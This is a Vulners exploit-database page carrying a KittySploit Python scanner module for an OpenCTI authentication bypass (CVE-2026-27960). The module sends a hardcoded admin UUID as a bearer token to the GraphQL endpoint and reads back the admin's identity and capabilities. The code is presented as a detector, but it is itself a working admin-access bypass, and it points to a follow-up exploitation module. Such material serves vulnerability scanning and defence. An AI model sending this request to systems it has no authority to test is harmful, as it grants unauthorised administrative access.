Lucene search
+L

OpenCTI CVE-2026-27960 Auth Bypass Detect

🗓️ 08 Aug 2026 16:40:44Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Auth bypass in OpenCTI via hardcoded admin UUID in authenticateUserByTokenOrUserId.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Improper Input Validation in Microsoft
7 May 202601:44
–githubexploit
attackerkb
attackerkb
CVE-2026-27960
5 May 202618:35
–attackerkb
circl
Circl
CVE-2026-27960
5 May 202619:19
–circl
cnnvd
CNNVD
OpenCTI 授权问题漏洞
5 May 202600:00
–cnnvd
cve
CVE
CVE-2026-27960
5 May 202618:35
–cve
cvelist
Cvelist
CVE-2026-27960 OpenCTI privilege escalation and unauthenticated access via default admin account
5 May 202618:35
–cvelist
euvd
EUVD
EUVD-2026-27420
5 May 202618:35
–euvd
kittysploit
KittySploit
OpenCTI Auth Bypass (CVE-2026-27960)
8 Aug 202616:40
–kittysploit
mend
Mend
CVE-2026-27960
5 May 202618:35
–mend
metasploit
Metasploit
OpenCTI Authentication Bypass and Notifier EJS Remote Code Execution
4 May 202600:00
–metasploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""Detect OpenCTI CVE-2026-27960 hardcoded admin UUID authentication bypass."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.scanner.http.response_validation import parse_json_response


class Module(Scanner, Http_client):
    __info__ = {
        "name": "OpenCTI CVE-2026-27960 Auth Bypass Detect",
        "description": (
            "Detects CVE-2026-27960 in OpenCTI 6.6.0 through 6.9.12: authenticateUserByTokenOrUserId "
            "looks up users by bearer token without verifying it equals api_token. The admin "
            "internal_id 88ec0c6a-13ce-5e39-b486-354fe4a7084f is identical across deployments "
            "and authenticates as admin when sent as a bearer token."
        ),
        "author": ["KittySploit Team"],
        "severity": "critical",
        "cve": ["CVE-2026-27960"],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-27960",
            "https://www.cve.org/CVERecord?id=CVE-2026-27960",
        ],
        "modules": ["auxiliary/admin/http/opencti_cve_2026_27960_auth_bypass"],
        "tags": [
            "web",
            "scanner",
            "opencti",
            "graphql",
            "auth-bypass",
            "cve-2026-27960",
            "vuln",
        ],
        "agent": {
            "risk": "active",
            "effects": ["network_probe"],
            "expected_requests": 1,
            "reversible": True,
            "approval_required": False,
            "produces": ["tech_hints", "risk_signals", "exploit_paths"],
            "cost": 1.0,
            "noise": 0.3,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["opencti", "graphql"],
                "endpoint_pattern_any": ["/graphql"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "auth_bypass", "from_detail": "hardcoded admin UUID"},
                ],
                "suggested_followups": [
                    "auxiliary/admin/http/opencti_cve_2026_27960_auth_bypass",
                ],
            },
        },
    }

    port = OptPort(4000, "OpenCTI HTTP port", True)
    ssl = OptBool(False, "Use HTTPS", True, advanced=True)
    graphql_path = OptString(
        "/graphql",
        "GraphQL endpoint path (e.g. /graphql, /public/graphql)",
        False,
    )

    def run(self):
        base = (self.path or "/").rstrip("/")
        gql = self.graphql_path if self.graphql_path.startswith("/") else f"/{self.graphql_path}"
        endpoint = f"{base}{gql}" if base else gql
        try:
            response = self.http_request(
                method="POST",
                path=endpoint,
                json={"query": "{ me { id name user_email capabilities { name } } }"},
                headers={
                    "Authorization": "Bearer 88ec0c6a-13ce-5e39-b486-354fe4a7084f",
                    "Content-Type": "application/json",
                },
                timeout=int(self.timeout or 15),
            )
        except Exception as exc:
            print_status(f"CVE-2026-27960 probe failed: {exc.__class__.__name__}")
            return False

        if not response or response.status_code != 200:
            return False

        body, err = parse_json_response(response)
        if err or not body:
            return False
        if body.get("errors") and not body.get("data"):
            return False

        me = (body.get("data") or {}).get("me")
        if not me:
            return False

        caps = [c.get("name", "") for c in me.get("capabilities") or []]
        if "BYPASS" not in caps and me.get("id") != "88ec0c6a-13ce-5e39-b486-354fe4a7084f":
            return False

        name = me.get("name") or ""
        email = me.get("user_email") or ""
        reason = f"CVE-2026-27960: authenticated as admin '{name}' <{email}>"
        print_status(f"CVE-2026-27960 vuln=True user={name}")
        self.set_info(
            severity="critical",
            reason=reason,
            vulnerable=True,
            cve="CVE-2026-27960",
            path=endpoint,
            user_id=me.get("id"),
            user_name=name,
            user_email=email,
            capabilities=caps,
        )
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Aug 2026 16:40Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.8
EPSS0.0468
SSVC
2